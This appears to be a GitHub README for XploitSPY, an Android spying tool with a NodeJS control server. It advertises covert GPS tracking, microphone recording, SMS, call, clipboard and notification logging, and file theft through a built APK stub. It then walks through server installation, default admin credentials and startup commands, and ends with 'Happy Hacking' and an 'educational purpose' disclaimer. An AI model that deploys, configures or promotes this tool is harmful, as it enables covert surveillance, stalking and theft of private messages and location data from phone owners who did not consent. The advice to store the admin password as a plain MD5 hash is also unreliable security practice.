A cloud based Android Spying or Monitoring Tool, powered by NodeJS
## Features
- GPS Logging
- Microphone Recording
- View Contacts
- SMS Logs
- Send SMS
- Call Logs
- View Installed Apps
- View Stub Permissions
- Live Clipboard Logging
- Live Notification Logging (WhatsApp, Facebook, Instagram, Gmail and more ....)
- View WiFi Networks (logs previously seen)
- File Explorer & Downloader
- Command Queuing
- Built In APK Builder
## Prerequisites
- Java Runtime Environment 9+
- See [installation](#Installation) for OS specifics
- NodeJs
- A Server
## Installation on Heroku [Click Here](https://github.com/XploitWizer/XploitSPY/blob/herooku/README.md)
Video Tutorial for Heroku [Click Here](https://youtu.be/IoJGFZWCPko)
## Installation on VPS or Server
Video Tutorial for VPS or Server [Click Here](https://youtu.be/6bRs7-0AD04)
0. Connect to your server via SSH
1. Install JRE 9+
- Debian, Ubuntu, Etc
- `sudo apt install openjdk-11-jre-headless`
- Fedora, Oracle, Red Hat, etc
- `sudo yum install java-11-openjdk-devel"`
- Windows
- click [HERE](https://www.oracle.com/technetwork/java/javase/downloads/jre9-downloads-3848532.html) for downloads
2. Install NodeJS [Instructions Here](https://nodejs.org/en/download/package-manager/) (If you can't figure this out, you shouldn't really be using this)
3. install PM2
- `sudo npm install pm2 -g`
4. Clone this repository
- `git clone https://github.com/XploitWizer/XploitSPY.git`
5. Now change to the server directory and run these commands
- `npm install` <- install dependencies
- `pm2 start index.js` <-- start the script
- `pm2 startup` <- to run XploitSPY on startup
6. Default Username : admin & Default Password : password
7. Change the Username & Password
1. Stop XploitSPY `pm2 stop index`
2. Open `maindb.json` in a text editor
3. under `admin`
- set the `username` as plain text
- set the `password` as a LOWERCASE MD5 hash
4. save the file
5. run `pm2 restart all`
8. in your browser navigate to `http://:22533`
It's recommended to run XploitSPY behind a reverse proxy such as [NGINX](https://www.nginx.com/resources/wiki/start/topics/tutorials/install/)
## Happy Hacking
## Disclaimer
XploitWizer Provides no warranty with this software and will not be responsible for any direct or indirect damage caused due to the usage of this tool.
XploitSPY is built for Educational Purpose. Use at your own Risk.
Made with ❤️ By XploitWizer
## Credits
Credits to D3VL for the original code base this repository is based on at L3MON